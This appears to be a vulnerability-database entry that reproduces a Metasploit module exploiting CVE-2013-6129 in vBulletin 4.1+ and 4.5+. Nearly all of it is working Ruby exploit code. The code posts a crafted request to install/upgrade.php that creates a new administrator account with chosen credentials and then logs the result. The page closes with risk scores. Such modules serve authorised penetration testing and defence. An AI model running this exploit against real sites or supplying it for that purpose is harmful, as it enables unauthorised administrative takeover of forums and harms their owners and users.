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VBulletin Administrator Account Creation

🗓️ 31 Aug 2024 00:00:00Reported by juan vazquez, temp66, metasploit.comType 
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Module exploits vBulletin 4.1+ and 4.5+ to create a new administrator account

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`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'vBulletin Administrator Account Creation',  
'Description' => %q{  
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to  
create a new administrator account, as exploited in the wild on October 2013. This module  
has been tested successfully on vBulletin 4.1.5 and 4.1.0.  
},  
'Author' => [  
'Unknown', # Vulnerability discoverer? found in the wild  
'juan vazquez' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2013-6129' ],  
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],  
[ 'OSVDB', '98370' ],  
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']  
],  
'DisclosureDate' => '2013-10-09'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),  
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),  
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),  
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])  
]  
)  
end  
  
def user  
datastore['USERNAME']  
end  
  
def pass  
datastore['PASSWORD']  
end  
  
def run  
if user == pass  
print_error('Please select a password different than the username')  
return  
end  
  
print_status('Trying a new admin vBulletin account...')  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),  
'method' => 'POST',  
'vars_post' => {  
'version' => 'install',  
'response' => 'true',  
'checktable' => 'false',  
'firstrun' => 'false',  
'step' => '7',  
'startat' => '0',  
'only' => 'false',  
'options[skiptemplatemerge]' => '0',  
'reponse' => 'yes',  
'htmlsubmit' => '1',  
'htmldata[username]' => user,  
'htmldata[password]' => pass,  
'htmldata[confirmpassword]' => pass,  
'htmldata[email]' => datastore['EMAIL']  
},  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
}  
})  
  
if res && (res.code == 200) && res.body =~ (/Administrator account created/)  
print_good("Admin account with credentials #{user}:#{pass} successfully created")  
connection_details = {  
module_fullname: fullname,  
username: user,  
private_data: pass,  
private_type: :password,  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: res.body  
}.merge(service_details)  
create_credential_and_login(connection_details)  
else  
print_error('Admin account creation failed')  
end  
end  
end  
`

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31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.51887
150